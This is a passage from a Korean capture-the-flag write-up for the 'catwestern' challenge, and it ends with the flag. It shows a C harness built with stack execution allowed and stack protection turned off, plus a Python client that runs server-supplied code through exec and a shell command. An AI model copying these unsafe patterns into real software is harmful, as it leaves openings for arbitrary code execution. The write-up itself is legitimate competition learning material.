여기서 f()로 호출하면 컴파일러가 rax에 f의 주소를 넣고 call *%rax의 형태로 바뀌어서 rax값을 보존하기 위해 call 어셈블리를 inline으로 직접 넣었습니다. rbp-0xb8은 한번 컴파일을 해본 뒤 f가 어디에있는지 직접 찾아서 넣은 것입니다. f를 직접 호출하려고했는데 inline assembly와 C언어 변수간의 호환이 어렵더군요...

컴파일 할 때는 stack을 실행해야하므로 다음과같이 컴파일합니다.

gcc -o catwestern catwestern.c -z execstack -fno-stack-protector -g

그런 뒤 python wrapper로 인자를 맞춰서 전달해주면 됩니다.


from socket import *

s = socket(2,1)
s.connect(('catwestern_631d7907670909fc4df2defc13f2057c.quals.shallweplayaga.me',9999))
reg = s.recv(2048)

print reg
reg = reg.split('\n')[1:]
for i in reg:
    exec i

a = s.recv(2048)
print a
a = a.split('\n')
a = '\n'.join(a[2:])
print 'LENGTH:', len(a)

regs = [rax,rbx,rcx,rdx,rsi,rdi,r8,r9,r10,r11,r12,r13,r14,r15]
for n,i in enumerate(regs):
    if i>0x7fffffffffffffff:
        regs[n] = -(0xffffffffffffffff-i+1)
cmd=('./catwestern %d ' +'%x '*14+ '%s')%(len(a),
    regs[0],regs[1],regs[2],regs[3],regs[4],
    regs[5],regs[6],regs[7],regs[8],regs[9],
    regs[10],regs[11],regs[12],regs[13],a.encode('hex'))

import subprocess
print cmd
t = subprocess.check_output(cmd, shell=True)

for i in t.split('\n'):
    exec i

ans = '''rax=0x%x
rbx=0x%x
rcx=0x%x
rdx=0x%x
rsi=0x%x
rdi=0x%x
r8=0x%x
r9=0x%x
r10=0x%x
r11=0x%x
r12=0x%x
r13=0x%x
r14=0x%x
r15=0x%x
''' % (rax,rbx,rcx,rdx,rsi,rdi,r8,r9,r10,r11,r12,r13,r14,r15)
print ans
s.send(ans)
print s.recv(2048)



Flag: Cats with frickin lazer beamz on top of their heads!

+ Recent posts